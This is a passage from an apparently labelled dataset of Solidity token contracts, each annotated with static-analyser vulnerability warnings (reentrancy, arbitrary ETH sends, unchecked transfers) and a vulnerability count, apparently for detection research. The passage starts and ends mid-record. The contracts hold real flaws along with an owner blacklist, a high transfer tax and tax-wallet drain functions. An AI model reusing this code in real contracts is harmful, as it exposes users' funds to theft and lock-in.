&&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 2817a46\n\t\t\t\t// reentrancy-eth | ID: 85de59f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 2817a46\n\t\t\t\t\t// reentrancy-eth | ID: 85de59f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 85de59f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 85de59f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 85de59f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 2817a46\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 85de59f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 85de59f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 2817a46\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 2817a46\n\t\t// reentrancy-events | ID: 61f3ff7\n\t\t// reentrancy-benign | ID: dcbda00\n\t\t// reentrancy-eth | ID: 85de59f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4129b38): TOKEN.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 4129b38: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 2817a46\n\t\t// reentrancy-events | ID: 61f3ff7\n\t\t// reentrancy-eth | ID: 85de59f\n\t\t// arbitrary-send-eth | ID: 4129b38\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 07dbb7e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 07dbb7e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: dcd9117): TOKEN.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for dcd9117: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 0ce8dfc): TOKEN.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 0ce8dfc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 89aaa89): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 89aaa89: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 07dbb7e\n\t\t// reentrancy-eth | ID: 89aaa89\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 07dbb7e\n\t\t// unused-return | ID: 0ce8dfc\n\t\t// reentrancy-eth | ID: 89aaa89\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 07dbb7e\n\t\t// unused-return | ID: dcd9117\n\t\t// reentrancy-eth | ID: 89aaa89\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 07dbb7e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 89aaa89\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10760.sol",
"size_bytes": 19625,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract YOUNGPEEZY is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a395c03): YOUNGPEEZY.bots is never initialized. It is used in YOUNGPEEZY._transfer(address,address,uint256)\n\t// Recommendation for a395c03: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: a30db80): YOUNGPEEZY._taxWallet should be immutable \n\t// Recommendation for a30db80: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8698ab0): YOUNGPEEZY._initialBuyTax should be constant \n\t// Recommendation for 8698ab0: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd3da62): YOUNGPEEZY._initialSellTax should be constant \n\t// Recommendation for fd3da62: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 22;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 886f817): YOUNGPEEZY._reduceBuyTaxAt should be constant \n\t// Recommendation for 886f817: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6577f93): YOUNGPEEZY._reduceSellTaxAt should be constant \n\t// Recommendation for 6577f93: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 22;\n\n\t// WARNING Optimization Issue (constable-states | ID: 32c5e4c): YOUNGPEEZY._preventSwapBefore should be constant \n\t// Recommendation for 32c5e4c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 22;\n\n uint256 private _transferTax = 50;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Young Peezy\";\n\n string private constant _symbol = unicode\"PEEZY\";\n\n uint256 public _maxTxAmount = 2000000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c67d5c): YOUNGPEEZY._taxSwapThreshold should be constant \n\t// Recommendation for 2c67d5c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: f88c7f2): YOUNGPEEZY._maxTaxSwap should be constant \n\t// Recommendation for f88c7f2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1600000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 364e0ca): YOUNGPEEZY.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 364e0ca: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 035c422): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 035c422: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ee1a10a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ee1a10a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 035c422\n\t\t// reentrancy-benign | ID: ee1a10a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 035c422\n\t\t// reentrancy-benign | ID: ee1a10a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c39b65): YOUNGPEEZY._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c39b65: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: ee1a10a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 035c422\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8a2644d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8a2644d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: a395c03): YOUNGPEEZY.bots is never initialized. It is used in YOUNGPEEZY._transfer(address,address,uint256)\n\t// Recommendation for a395c03: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ea58baa): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ea58baa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 8a2644d\n\t\t\t\t// reentrancy-eth | ID: ea58baa\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 8a2644d\n\t\t\t\t\t// reentrancy-eth | ID: ea58baa\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ea58baa\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ea58baa\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ea58baa\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 8a2644d\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ea58baa\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ea58baa\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8a2644d\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 035c422\n\t\t// reentrancy-events | ID: 8a2644d\n\t\t// reentrancy-benign | ID: ee1a10a\n\t\t// reentrancy-eth | ID: ea58baa\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit2() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a0e97af): YOUNGPEEZY.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for a0e97af: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 035c422\n\t\t// reentrancy-events | ID: 8a2644d\n\t\t// reentrancy-eth | ID: ea58baa\n\t\t// arbitrary-send-eth | ID: a0e97af\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 9fd469e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 9fd469e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8a35f27): YOUNGPEEZY.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 8a35f27: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1de668d): YOUNGPEEZY.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 1de668d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a7de259): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a7de259: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 9fd469e\n\t\t// reentrancy-eth | ID: a7de259\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 9fd469e\n\t\t// unused-return | ID: 1de668d\n\t\t// reentrancy-eth | ID: a7de259\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 9fd469e\n\t\t// unused-return | ID: 8a35f27\n\t\t// reentrancy-eth | ID: a7de259\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 9fd469e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: a7de259\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: f657589): YOUNGPEEZY.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for f657589: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: f657589\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10761.sol",
"size_bytes": 21175,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract SANTACHAD is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: de2f5ba): SANTACHAD._initialBuyTax should be constant \n\t// Recommendation for de2f5ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: eae3ad3): SANTACHAD._initialSellTax should be constant \n\t// Recommendation for eae3ad3: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: b0fae3d): SANTACHAD._finalBuyTax should be constant \n\t// Recommendation for b0fae3d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: d18488d): SANTACHAD._finalSellTax should be constant \n\t// Recommendation for d18488d: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1b01d9d): SANTACHAD._reduceBuyTaxAt should be constant \n\t// Recommendation for 1b01d9d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71c7ba5): SANTACHAD._reduceSellTaxAt should be constant \n\t// Recommendation for 71c7ba5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55ed08e): SANTACHAD._preventSwapBefore should be constant \n\t// Recommendation for 55ed08e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 69420000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SANTACHAD\";\n\n string private constant _symbol = unicode\"SCHAD\";\n\n uint256 public _maxTxAmount = 1388400 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 1388400 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 968fbce): SANTACHAD._taxSwapThreshold should be constant \n\t// Recommendation for 968fbce: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 1388400 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n 